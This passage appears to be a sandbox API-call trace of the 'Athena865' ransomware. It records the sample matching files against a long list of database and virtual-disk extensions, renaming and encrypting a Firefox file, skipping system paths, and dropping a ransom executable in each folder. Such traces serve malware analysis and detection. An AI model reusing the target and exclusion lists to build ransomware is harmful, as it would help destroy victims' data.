lpString2="vbox") returned -1 [0095.587] lstrlenW (lpString="vdi") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0095.587] lstrlenW (lpString="vhd") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0095.587] lstrlenW (lpString="vhdx") returned 4 [0095.588] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0095.588] lstrlenW (lpString="avhd") returned 4 [0095.588] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0095.588] lstrlenW (lpString="db") returned 2 [0095.588] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0095.588] lstrlenW (lpString="db2") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0095.588] lstrlenW (lpString="db3") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0095.588] lstrlenW (lpString="dbf") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0095.588] lstrlenW (lpString="mdf") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0095.588] lstrlenW (lpString="mdb") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0095.588] lstrlenW (lpString="sql") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0095.588] lstrlenW (lpString="sqlite") returned 6 [0095.588] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0095.588] lstrlenW (lpString="sqlite3") returned 7 [0095.588] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0095.588] lstrlenW (lpString="sqlitedb") returned 8 [0095.588] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0095.588] lstrlenW (lpString="xml") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0095.588] lstrlenW (lpString="$er") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0095.588] lstrlenW (lpString="4dd") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0095.588] lstrlenW (lpString="4dl") returned 3 [0095.588] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0095.589] lstrlenW (lpString="^^^") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0095.589] lstrlenW (lpString="abs") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0095.589] lstrlenW (lpString="abx") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0095.589] lstrlenW (lpString="accdb") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0095.589] lstrlenW (lpString="accdc") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0095.589] lstrlenW (lpString="accde") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0095.589] lstrlenW (lpString="accdr") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0095.589] lstrlenW (lpString="accdt") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0095.589] lstrlenW (lpString="accdw") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0095.589] lstrlenW (lpString="accft") returned 5 [0095.589] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0095.589] lstrlenW (lpString="adb") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0095.589] lstrlenW (lpString="adb") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0095.589] lstrlenW (lpString="ade") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0095.589] lstrlenW (lpString="adf") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0095.589] lstrlenW (lpString="adn") returned 3 [0095.589] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0095.589] lstrlenW (lpString="adp") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0095.590] lstrlenW (lpString="alf") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0095.590] lstrlenW (lpString="ask") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0095.590] lstrlenW (lpString="btr") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0095.590] lstrlenW (lpString="cat") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0095.590] lstrlenW (lpString="cdb") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0095.590] lstrlenW (lpString="ckp") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0095.590] lstrlenW (lpString="cma") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0095.590] lstrlenW (lpString="cpd") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0095.590] lstrlenW (lpString="dacpac") returned 6 [0095.590] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0095.590] lstrlenW (lpString="dad") returned 3 [0095.590] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0095.590] lstrlenW (lpString="dadiagrams") returned 10 [0095.590] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1 [0095.590] lstrlenW (lpString="daschema") returned 8 [0095.590] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0095.590] lstrlenW (lpString="db-journal") returned 10 [0095.590] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1 [0095.590] lstrlenW (lpString="db-shm") returned 6 [0095.590] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0095.590] lstrlenW (lpString="db-wal") returned 6 [0095.590] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0095.590] lstrlenW (lpString="dbc") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0095.591] lstrlenW (lpString="dbs") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0095.591] lstrlenW (lpString="dbt") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0095.591] lstrlenW (lpString="dbv") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0095.591] lstrlenW (lpString="dbx") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0095.591] lstrlenW (lpString="dcb") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0095.591] lstrlenW (lpString="dct") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0095.591] lstrlenW (lpString="dcx") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1 [0095.591] lstrlenW (lpString="ddl") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1 [0095.591] lstrlenW (lpString="dlis") returned 4 [0095.591] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1 [0095.591] lstrlenW (lpString="dp1") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1 [0095.591] lstrlenW (lpString="dqy") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1 [0095.591] lstrlenW (lpString="dsk") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1 [0095.591] lstrlenW (lpString="dsn") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1 [0095.591] lstrlenW (lpString="dtsx") returned 4 [0095.591] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1 [0095.591] lstrlenW (lpString="dxl") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1 [0095.591] lstrlenW (lpString="eco") returned 3 [0095.591] lstrcmpiW (lpString1="est", lpString2="eco") returned 1 [0095.592] lstrlenW (lpString="ecx") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1 [0095.592] lstrlenW (lpString="edb") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="edb") returned 1 [0095.592] lstrlenW (lpString="epim") returned 4 [0095.592] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1 [0095.592] lstrlenW (lpString="fcd") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1 [0095.592] lstrlenW (lpString="fdb") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1 [0095.592] lstrlenW (lpString="fic") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fic") returned -1 [0095.592] lstrlenW (lpString="flexolibrary") returned 12 [0095.592] lstrcmpiW (lpString1="ome.manifest", lpString2="flexolibrary") returned 1 [0095.592] lstrlenW (lpString="fm5") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1 [0095.592] lstrlenW (lpString="fmp") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1 [0095.592] lstrlenW (lpString="fmp12") returned 5 [0095.592] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1 [0095.592] lstrlenW (lpString="fmpsl") returned 5 [0095.592] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1 [0095.592] lstrlenW (lpString="fol") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fol") returned -1 [0095.592] lstrlenW (lpString="fp3") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1 [0095.592] lstrlenW (lpString="fp4") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1 [0095.592] lstrlenW (lpString="fp5") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1 [0095.592] lstrlenW (lpString="fp7") returned 3 [0095.592] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1 [0095.592] lstrlenW (lpString="fpt") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1 [0095.593] lstrlenW (lpString="frm") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="frm") returned -1 [0095.593] lstrlenW (lpString="gdb") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0095.593] lstrlenW (lpString="gdb") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0095.593] lstrlenW (lpString="grdb") returned 4 [0095.593] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1 [0095.593] lstrlenW (lpString="gwi") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1 [0095.593] lstrlenW (lpString="hdb") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1 [0095.593] lstrlenW (lpString="his") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="his") returned -1 [0095.593] lstrlenW (lpString="ib") returned 2 [0095.593] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0095.593] lstrlenW (lpString="idb") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="idb") returned -1 [0095.593] lstrlenW (lpString="ihx") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1 [0095.593] lstrlenW (lpString="itdb") returned 4 [0095.593] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1 [0095.593] lstrlenW (lpString="itw") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="itw") returned -1 [0095.593] lstrlenW (lpString="jet") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="jet") returned -1 [0095.593] lstrlenW (lpString="jtx") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1 [0095.593] lstrlenW (lpString="kdb") returned 3 [0095.593] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1 [0095.593] lstrlenW (lpString="kexi") returned 4 [0095.594] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1 [0095.594] lstrlenW (lpString="kexic") returned 5 [0095.594] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1 [0095.594] lstrlenW (lpString="kexis") returned 5 [0095.594] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1 [0095.594] lstrlenW (lpString="lgc") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1 [0095.594] lstrlenW (lpString="lwx") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1 [0095.594] lstrlenW (lpString="maf") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="maf") returned -1 [0095.594] lstrlenW (lpString="maq") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="maq") returned -1 [0095.594] lstrlenW (lpString="mar") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mar") returned -1 [0095.594] lstrlenW (lpString="marshal") returned 7 [0095.594] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1 [0095.594] lstrlenW (lpString="mas") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mas") returned -1 [0095.594] lstrlenW (lpString="mav") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mav") returned -1 [0095.594] lstrlenW (lpString="maw") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="maw") returned -1 [0095.594] lstrlenW (lpString="mdbhtml") returned 7 [0095.594] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1 [0095.594] lstrlenW (lpString="mdn") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1 [0095.594] lstrlenW (lpString="mdt") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mdt") returned -1 [0095.594] lstrlenW (lpString="mfd") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1 [0095.594] lstrlenW (lpString="mpd") returned 3 [0095.594] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1 [0095.595] lstrlenW (lpString="mrg") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1 [0095.595] lstrlenW (lpString="mud") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="mud") returned -1 [0095.595] lstrlenW (lpString="mwb") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1 [0095.595] lstrlenW (lpString="myd") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="myd") returned -1 [0095.595] lstrlenW (lpString="ndf") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1 [0095.595] lstrlenW (lpString="nnt") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1 [0095.595] lstrlenW (lpString="nrmlib") returned 6 [0095.595] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1 [0095.595] lstrlenW (lpString="ns2") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1 [0095.595] lstrlenW (lpString="ns3") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1 [0095.595] lstrlenW (lpString="ns4") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1 [0095.595] lstrlenW (lpString="nsf") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1 [0095.595] lstrlenW (lpString="nv") returned 2 [0095.595] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0095.595] lstrlenW (lpString="nv2") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1 [0095.595] lstrlenW (lpString="nwdb") returned 4 [0095.595] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1 [0095.595] lstrlenW (lpString="nyf") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1 [0095.595] lstrlenW (lpString="odb") returned 3 [0095.595] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0095.596] lstrlenW (lpString="odb") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0095.596] lstrlenW (lpString="oqy") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1 [0095.596] lstrlenW (lpString="ora") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="ora") returned -1 [0095.596] lstrlenW (lpString="orx") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="orx") returned -1 [0095.596] lstrlenW (lpString="owc") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="owc") returned -1 [0095.596] lstrlenW (lpString="p96") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="p96") returned -1 [0095.596] lstrlenW (lpString="p97") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="p97") returned -1 [0095.596] lstrlenW (lpString="pan") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="pan") returned -1 [0095.596] lstrlenW (lpString="pdb") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1 [0095.596] lstrlenW (lpString="pdm") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1 [0095.596] lstrlenW (lpString="pnz") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1 [0095.596] lstrlenW (lpString="qry") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="qry") returned -1 [0095.596] lstrlenW (lpString="qvd") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1 [0095.596] lstrlenW (lpString="rbf") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1 [0095.596] lstrlenW (lpString="rctd") returned 4 [0095.596] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1 [0095.596] lstrlenW (lpString="rod") returned 3 [0095.596] lstrcmpiW (lpString1="est", lpString2="rod") returned -1 [0095.596] lstrlenW (lpString="rodx") returned 4 [0095.597] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1 [0095.597] lstrlenW (lpString="rpd") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1 [0095.597] lstrlenW (lpString="rsd") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1 [0095.597] lstrlenW (lpString="sas7bdat") returned 8 [0095.597] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1 [0095.597] lstrlenW (lpString="sbf") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1 [0095.597] lstrlenW (lpString="scx") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="scx") returned -1 [0095.597] lstrlenW (lpString="sdb") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1 [0095.597] lstrlenW (lpString="sdc") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1 [0095.597] lstrlenW (lpString="sdf") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1 [0095.597] lstrlenW (lpString="sis") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="sis") returned -1 [0095.597] lstrlenW (lpString="spq") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="spq") returned -1 [0095.597] lstrlenW (lpString="te") returned 2 [0095.597] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0095.597] lstrlenW (lpString="teacher") returned 7 [0095.597] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1 [0095.597] lstrlenW (lpString="tmd") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1 [0095.597] lstrlenW (lpString="tps") returned 3 [0095.597] lstrcmpiW (lpString1="est", lpString2="tps") returned -1 [0095.597] lstrlenW (lpString="trc") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0095.598] lstrlenW (lpString="trc") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0095.598] lstrlenW (lpString="trm") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="trm") returned -1 [0095.598] lstrlenW (lpString="udb") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="udb") returned -1 [0095.598] lstrlenW (lpString="udl") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="udl") returned -1 [0095.598] lstrlenW (lpString="usr") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="usr") returned -1 [0095.598] lstrlenW (lpString="v12") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="v12") returned -1 [0095.598] lstrlenW (lpString="vis") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="vis") returned -1 [0095.598] lstrlenW (lpString="vpd") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1 [0095.598] lstrlenW (lpString="vvv") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1 [0095.598] lstrlenW (lpString="wdb") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1 [0095.598] lstrlenW (lpString="wmdb") returned 4 [0095.598] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1 [0095.598] lstrlenW (lpString="wrk") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1 [0095.598] lstrlenW (lpString="xdb") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1 [0095.598] lstrlenW (lpString="xld") returned 3 [0095.598] lstrcmpiW (lpString1="est", lpString2="xld") returned -1 [0095.598] lstrlenW (lpString="xmlff") returned 5 [0095.599] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1 [0095.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest.Athena865") returned 72 [0095.599] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest.athena865"), dwFlags=0x1) returned 1 [0095.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.601] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40) returned 1 [0095.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.601] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.602] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.602] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.602] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x330, lpName=0x0) returned 0x154 [0095.605] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x330) returned 0x100000 [0095.606] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.607] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.607] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.607] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.608] CloseHandle (hObject=0x154) returned 1 [0095.608] CloseHandle (hObject=0x17c) returned 1 [0095.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.608] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="components", cAlternateFileName="COMPON~1")) returned 1 [0095.608] lstrcmpiW (lpString1="components", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2=".") returned 1 [0095.608] lstrcmpiW (lpString1="components", lpString2="..") returned 1 [0095.608] lstrcmpiW (lpString1="components", lpString2="windows") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="bootmgr") returned 1 [0095.608] lstrcmpiW (lpString1="components", lpString2="temp") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="pagefile.sys") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="boot") returned 1 [0095.608] lstrcmpiW (lpString1="components", lpString2="ids.txt") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="ntuser.dat") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="perflogs") returned -1 [0095.608] lstrcmpiW (lpString1="components", lpString2="MSBuild") returned -1 [0095.608] lstrlenW (lpString="components") returned 10 [0095.608] lstrcpyW (in: lpString1=0x241e8a6, lpString2="components" | out: lpString1="components") returned="components" [0095.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5f0 [0095.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5014a8 [0095.609] lstrcatW (in: lpString1="components", lpString2="\\" | out: lpString1="components\\") returned="components\\" [0095.609] lstrcatW (in: lpString1="components\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="components\\HOW TO BACK YOUR FILES.exe") returned="components\\HOW TO BACK YOUR FILES.exe" [0095.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.613] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 